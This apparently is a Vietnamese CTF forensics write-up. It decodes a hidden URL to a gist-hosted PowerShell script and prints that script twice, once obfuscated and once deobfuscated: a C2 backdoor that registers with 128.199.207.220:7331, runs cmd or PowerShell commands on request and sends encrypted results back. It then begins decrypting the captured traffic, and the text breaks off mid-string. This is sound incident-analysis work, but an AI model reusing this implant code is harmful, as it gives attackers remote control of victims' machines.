Đoạn này khả năng sẽ get 1 trang web nào đó. Như vậy khả năng hàm function1 sẽ decrypt ký tự trên thành một trang web, viết lại function_1 bằng python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def function_1(var1):
    var2 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
    var3 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
    var6 = ""
    
    for char in var1:
        var4 = var2.find(char)
        if var4 > -1:
            var5 = var3[var4]
            var6 += var5
        else:
            var6 += char
    
    return var6
print(function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"))

Có vẻ là đúng rồi :))

1
'https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1'

Vào trang này có 1 file ps1, tải xuống về chạy ta tiếp tục có đoạn code sau

${8r`T3WA}  = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','.s','p') ;.('SV') ("{0}{1}"-f '72','j5O')  (  [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0}"-f 'Y.','toGRapH','p'),'ng','aD')  ) ;   ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT')  ;  ${H`LvW1} =  [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'),'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX');  .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92'))  (  [Type]("{1}{2}{0}" -F ("{1}{0}{2}"-f 'NEt.dn','eM.','S'),'Sys','t'))  ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;

function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) {

    ${AJuJ`V`RAZ`99}           = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed','ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae'))
    ${AJUjvr`AZ`99}."Mo`de"      =   (  .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI'))  ("8rt"+"3Wa") -Value  )::"c`Bc"
    ${aJuj`V`RAZ99}."PA`d`dInG"   =  ( .("{0}{1}"-f 'Di','r')  ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab')  )."VA`LUe"::"ze`Ros"
    ${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128
    ${Aju`Jv`RAz`99}."keysI`ze"   = 256

    if (${5`TM`RWPluy}) {

        if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) {
            ${a`j`U`jvRaZ99}."Iv" =  (&("{1}{0}"-f'r','di')  ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`Pl`Uy})
        }

        else {
            ${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy}
        }
    }

    if (${Vx`ZtM`FF}) {

        if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) {
            ${ajU`j`VraZ99}."K`ey" =  ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`Ke"(${vx`z`TmFF})
        }

        else {
            ${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff}
        }
    }

    ${aJUjvRA`Z`99}
}
function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) {

    ${B`y`TES}             =   (  .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v')  (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`FpdQRF99})
    ${ajujVR`AZ`99}        = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff}
    ${qD`IqL`GaQ99}         = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"()
    ${lw`i`hYmIF99}     = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh");
    [byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99}
    ${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"()
     ${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99})
}
function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) {

    ${bYT`Es}           =   (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR')  ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk`jRx`qcF99})
    ${5t`MR`WpLuY}              = ${B`Y`Tes}[0..15]
    ${aJu`JVra`z99}      = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY}
    ${MNDm`WYnB`99}       = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"();
    ${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16);
    ${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"()
      ${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0)
}
function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){

    ${Cw`zVY`VJ}                        = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','te'),'S',("{0}{2}{1}"-f'm.Di','st','agno'))
    ${Cw`ZVy`Vj}."FIlena`me"               = ${DFjZ1`co}
    ${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR"  = ${T`Rue}
    ${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue}
    ${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te"        = ${F`ALsE}
    ${c`wzvy`VJ}."aRg`UmENtS"              = ${yO8`x`m5}
    ${p}                            = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1}" -f 'ces','s'),'S')
    ${P}."s`T`ArTiN`FO"                  = ${C`W`zvYVj}

    ${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou')
    ${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"()

    ${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"()
    ${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"()
    ${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99")
    ${K`cnJcQ`Dl}
}
${FZvyCr}   = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19'))
${t`wFTrI} = ("{0}{1}"-f'7','331')
${VxzTmff}  = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42')))
${n}    = 3
${C`w`j2TWh} = ""
${yC`RU`Tw} =   ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"()
${F`N`FFGXDzj}  = "p"
${D`FctD`FM}  = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg")
${kV`QBXbuR}  = @{
    ("{0}{1}"-f 'n','ame') = "$YCRUTw"
    ("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ"
    }
${CWj2`TWh}  = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT"
${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
${i`JfySE2}   = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")
for (;;){

    ${M`A04XM`gY}  = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt"

    if (-Not  ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){

        ${m`A04XM`gY} = .("{0}{1}" -f("{1}{0}" -f 'r','Dec'),'ypt') ${V`XZ`Tmff} ${Ma04X`MgY}
        ${mA0`4X`MgY} = ${ma0`4`XMgy}.("{1}{0}"-f'it','spl')."INv`okE"()
        ${FL`AG} = ${MA04`x`mgY}[0]

        if (${Fl`Ag} -eq ("{0}{1}" -f 'VAL','ID')){

            ${WB1`SWYo`je} = ${MA04`X`MgY}[1]
            ${yO8`X`M5S}    = ${Ma0`4XMgY}[2..${MA04x`mgY}."LeNg`TH"]
            if (${wb1s`Wyo`Je} -eq ("{1}{0}"-f'l',("{1}{0}" -f'hel','s'))){

                ${F}    = ("{0}{1}{2}"-f 'c',("{1}{0}" -f'e','md.'),'xe')
                ${y`O`8XM5}  = "/c "

                foreach (${a} in ${yo8`xM`5s}){ ${Yo8`x`m5} += ${a} + " " }
                ${KcNJ`C`QdL}  = .("{0}{1}"-f 'sh','ell') ${f} ${yo`8xM5}
                ${kCnjCQ`DL}  = .("{1}{2}{0}"-f 'pt','Enc','ry') ${VxztM`FF} ${kc`Nj`cqdl}
                ${kvqbX`B`Ur} = @{("{1}{0}" -f 'lt',("{0}{1}" -f 'r','esu')) = "$KcnJCQDl"}

                &("{3}{0}{1}{4}{2}" -f'ke','-W',("{0}{1}" -f 'qu','est'),("{0}{1}"-f'I','nvo'),("{1}{0}" -f 'bRe','e')) -UseBasicParsing -Uri ${tV`yM`Ey`RR99} -Body ${k`V`QbXbur} -Method ("{1}{0}" -f 'T','POS')
            }
            elseif (${Wb1Sw`Y`OJe} -eq ("{1}{0}{2}"-f 'owe','p',("{2}{1}{0}" -f 'l','l','rshe'))){

                ${f}    = ("{0}{3}{4}{1}{2}" -f ("{0}{1}"-f'p','owers'),'e','xe','he','ll.')
                ${yO`8X`m5}  = "/c "

                foreach (${a} in ${Y`o8xM5s}){ ${YO8x`m5} += ${a} + " " }
                ${kc`Nj`cqdL}  = &("{0}{1}" -f 'she','ll') ${F} ${yO`8`XM5}
                ${k`cn`jCQDL}  = .("{0}{1}"-f ("{0}{1}" -f 'En','cr'),'ypt') ${vXZT`mfF} ${KCN`jcqDl}
                ${KVqb`x`BUr} = @{("{1}{0}"-f ("{0}{1}" -f 'es','ult'),'r') = "$KcnJCQDl"}

                &("{0}{2}{4}{5}{1}{3}"-f'Inv',("{0}{1}"-f 'WebR','e'),'o',("{1}{0}" -f 'st','que'),'ke','-') -UseBasicParsing -Uri ${tvyMEY`R`R99} -Body ${k`V`qBXb`Ur} -Method ("{1}{0}" -f 'OST','P')
            }
            elseif (${wb`1swYO`Je} -eq ("{0}{1}"-f 'sl','eep')){
                ${n}    = [int]${yO`8Xm`5S}[0]
                ${kV`Q`BXbur} = @{("{0}{1}"-f're',("{0}{1}"-f 'su','lt')) = ""}
                &("{2}{0}{4}{1}{3}" -f 'o',("{1}{0}"-f 'Re','Web'),'Inv',("{0}{1}"-f'qu','est'),'ke-') -UseBasicParsing -Uri ${tV`Ymeyr`R`99} -Body ${Kv`QBXBur} -Method ("{1}{0}" -f 'T','POS')
            }
            elseif (${wb`1sWy`ojE} -eq ("{1}{0}"-f'e',("{1}{0}"-f'm','rena'))){

                ${c`wJ2t`Wh}    = ${Y`O8Xm`5S}[0]
                ${TVY`mey`Rr99} = (("{1}{0}" -f'tp','ht') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")
                ${ijF`Ys`E2}   = (("{1}{0}"-f'ttp','h') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")

                ${kV`Qb`XbUr}    = @{("{1}{0}" -f'lt',("{1}{0}" -f 'esu','r')) = ""}
                .("{0}{1}{4}{2}{3}" -f 'Inv',("{0}{1}{2}" -f'ok','e-','WebR'),'qu','est','e') -UseBasicParsing -Uri ${TVY`mEyR`R`99} -Body ${KvqBxb`Ur} -Method ("{1}{0}"-f 'OST','P')
            }
            elseif (${w`B1s`WYOJe} -eq ("{0}{1}" -f 'qu','it')){
                exit
            }
        }
    .("{1}{0}"-f 'p',("{0}{1}"-f'sl','ee')) ${N}
    }
}

Sử dụng ChatGPT + PSDecode thu được. Đoạn code này chỉ để tham khảo có thể không thực thi đúng hoàn toàn so với code gốc

$CIPHER_MODE = [System.Security.Cryptography.CipherMode]::CBC
$PADDING_MODE = [System.Security.Cryptography.PaddingMode]::Zeros
$CONVERT_TYPE = [System.Convert]
$TEXT_ENCODING_TYPE = [System.Text.Encoding]
$DNS_TYPE = [System.Net.Dns]
$STRING_TYPE = [System.String]

function Create-AesManageObject($iv, $key) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = $CIPHER_MODE
    $aesManaged.Padding = $PADDING_MODE
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256

    if ($iv) {
        if ($iv.GetType().Invoke().Name -eq $STRING_TYPE) {
            $aesManaged.IV = $CONVERT_TYPE::FromBase64String.Invoke($iv)
        } else {
            $aesManaged.IV = $iv
        }
    }

    if ($key) {
        if ($key.GetType().Invoke().Name -eq $STRING_TYPE) {
            $aesManaged.Key = (Get-Variable XNFD).Value::FromBase64String.Invoke($key)
        } else {
            $aesManaged.Key = $key
        }
    }

    $aesManaged
}


function Encrypt($key, $input) {
    $aesManaged = Create-AesManageObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($input)
    $encryptedBytes = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
    $result = $aesManaged.IV + $encryptedBytes
    $aesManaged.Dispose()
    [Convert]::ToBase64String($result)
}

function Decrypt($key, $input) {
    $aesManaged = Create-AesManageObject $key
    $decryptor = $aesManaged.CreateDecryptor()
    $bytes = [Convert]::FromBase64String($input)
    $iv = $bytes[0..15]
    $inputData = $bytes[16..($bytes.Length - 1)]
    $decryptedBytes = $decryptor.TransformFinalBlock($inputData, 0, $inputData.Length)
    $result = [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)
    $aesManaged.Dispose()
    $result
}

function Shell($filename, $arguments) {
    $processStartInfo = New-Object System.Diagnostics.ProcessStartInfo
    $processStartInfo.Filename = $filename
    $processStartInfo.RedirectStandardError = $true
    $processStartInfo.RedirectStandardOutput = $true
    $processStartInfo.UseShellExecute = $false
    $processStartInfo.Arguments = $arguments
    $process = New-Object System.Diagnostics.Process
    $process.StartInfo = $processStartInfo

    $process.Start() | Out-Null
    $process.WaitForExit()

    $output = $process.StandardOutput.ReadToEnd()
    $errorOutput = $process.StandardError.ReadToEnd()
    "VALID: " + "$output`n$errorOutput"
}

$serverIP = '128.199.207.220'
$serverPort = '7331'
$key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='
$delay = 3
$currentTask = ""

$hostname = [System.Net.Dns]::GetHostName()
$requestUri = "http://$serverIP:$serverPort/reg"
$body = @{
    'name' = $hostname
    'type' = "p"
} | ConvertTo-Json

$taskUrl = "http://$serverIP:$serverPort/tasks/$currentTask"
$resultUrl = "http://$serverIP:$serverPort/results/$currentTask"

for (;;) {
    $content = Invoke-WebRequest -UseBasicParsing -Uri $url -Method 'GET' | Select-Object -ExpandProperty "Content"

    if (-Not $response::Invoke($content)) {
        $decryptedContent = Decrypt-XTEA $key $content
        $splitContent = $decryptedContent.Split().Invoke()
        $flag = $splitContent[0]

        if ($flag -eq "VALID") {
            $action = $splitContent[1]
            $parameters = $splitContent[2..$splitContent.Length]

            if ($action -eq "shell") {
                $executable = "cmd.exe"
                $arguments = "/c "

                foreach ($parameter in $parameters) {
                    $arguments += $parameter + " "
                }

                $result = &("shell") $executable $arguments
                $encryptedResult = &("Encrypt") $key $result
                $postBody = @{("result") = "$encryptedResult"}

                Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
            }
            elseif ($action -eq "powershell") {
                $executable = "powershell.exe"
                $arguments = "/c "

                foreach ($parameter in $parameters) {
                    $arguments += $parameter + " "
                }

                $result = &("shell") $executable $arguments
                $encryptedResult = &("Encrypt") $key $result
                $postBody = @{("result") = "$encryptedResult"}

                Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
            }
            elseif ($action -eq "sleep") {
                $duration = [int]$parameters[0]
                $postBody = @{("result") = ""}

                Invoke-WebRequest -UseBasicParsing -Uri $apiUrl -Body $postBody -Method "POST"
                Start-Sleep $duration
            }
            elseif ($action -eq "scheduling") {
                $taskID = $parameters[0]
                $resultsUrl = "http://$serverAddress:$port/results/$taskID"
                $taskUrl = "http://$serverAddress:$port/tasks/$taskID"

                $postBody = @{("result") = ""}
                Invoke-WebRequest -UseBasicParsing -Uri $resultsUrl -Body $postBody -Method "POST"
                Invoke-WebRequest -UseBasicParsing -Uri $taskUrl -Body $postBody -Method "POST"
            }
            elseif ($action -eq "quit") {
                exit
            }
        }
        
        Start-Sleep $delay
    }
}

Nhận xét: Đoạn PS trên kết nối tới server 128.199.207.220 đồng thời mã hóa bằng AES CBC với $key = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M='

Quay trở lại pcapng, ta thấy một số kết nối bị mã hóa

Filter pcap với ((ip.dst == 128.199.207.220) || (ip.src== 128.199.207.220)) && (http) && !(frame contains "NO CONTENT") && !(frame contains "IFDRBU") và decrypt từng gói tin 1 ta thu được

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
from base64 import b64decode
import urllib.parse

key = b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=")
iv = bytes([i for i in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv = iv)

def decrypt(cipher, b64):
    return cipher.decrypt(b64decode(urllib.parse.unquote(b64)))

b = "h%2FREF9LOiNe2K46pgej%2Bc%2B5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh%2FuctV0zSYIP23QvJRPm617f%2F%2Ba4lshe8xLjPc%2FChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9%2FjqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4%2ByYlICfZEVekO%2BLTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE%2Bxd%2BYGcUGhNb%2BovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46%2Be0UjwTt8%2ByofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s%2F%2BYLSefDedRZHXW9FWqSgoIXGBc%2BEQhuFvQQPiI6hTTq64Y8%2BQpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX%2BUFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2%2FeBSF1MIyfu621hIoXMLibDUaxLupq%2BFXoIhms%2B5Ow8kyxdi8EOZA55A2B5p2%2BY9kZwaIpPsuPk3h78J%2BQvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k%2BFW1zPAFSNKy5X38MCszAZ%2Fi1dcXYwShjj4VrZLMM%2BzitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6%2Bwo4qZ%2FjUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2%2BvYv%2BXfXC8kAK7%2BUZhJ7jW3EeNAlGq3vwo%2BPE0DFUFaN%2FyiCsaYQanw5s6Q2%2BboNph7ybKBU1jKj%2BcqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE%2BQ9QDM5QaI8AOi2WUl%2B%2BW3bevqPf4wSPnk4kAc%2F%2FcSdpHI%2B90U%2FNzsiwlMQ8VAoPjJ%2Bb2VHWO51%2F1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk%2BFxu%2F6%2BhNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s%2BDzKNk8AaMq%2Bh0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ%2FllTFPNOH7%2FvU5pBpcg7I%2Brqkr%2FayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY%2B9fUz%2FuxSvafuFG0CEUZxdXljsPNz94%2FANu4qAiAqxZeRwMr%2BMZsyX%2FdYZoREl74sk4mOg0ilLhmTfFFN6d0te1es"
b = "RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs"
b = "aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj"
b = "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi"
b = "luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T%2FYu7F8NkHwvBwut0us0%2FrbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg%3D%3D"
b = "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe"
b = "syJFxAeJjdsNXrRpzEenYfY45X1Ag%2B3DMc%2B8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi%2BCbMGYkyvfAovaK7DrdzdwR%2BwMHQPju7ujDz2m0W2G3mlpLv%2Bfz29mEFb6EbtJpcwN%2BmVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1%2FiIcoZ%2BFwJB2H2SJSnZtLLhNsBkSgGYVaeAr%2F2CzKRWEa611H6blwl%2BSwh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB%2F%2BAhbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t%2FLyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ%2Be1bTPxEabcboTu%2F7lq0CrxQvuU%2BZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t%2FHsbUg2K2j7aJZoStBG6sa8%2B8KiXJ48WAgnaWamXsxMUIlC3UzDlHl%2FmEdMljsJJRx74v%2BdcOgcrE7lHP7hd4zG4L0OHhiIB2p%2F69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV%2F%2Br9u488OqNALJ%2BJc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka%2BBRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH%2BeGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi%2F5%2FRgHLh%2BGJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL%2Bz%2F7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK%2ForGEJo93%2FSI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu%2FFsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs%2BPca8v%2BR2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ%2BwHHr25L9CjYmu%2FnIlJmyB0OycbAH%2FZq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G%2BEpUB32ur72Y%2BNAFLeCAdYd8czsz%2B51KKNQr3V29Q1kXZ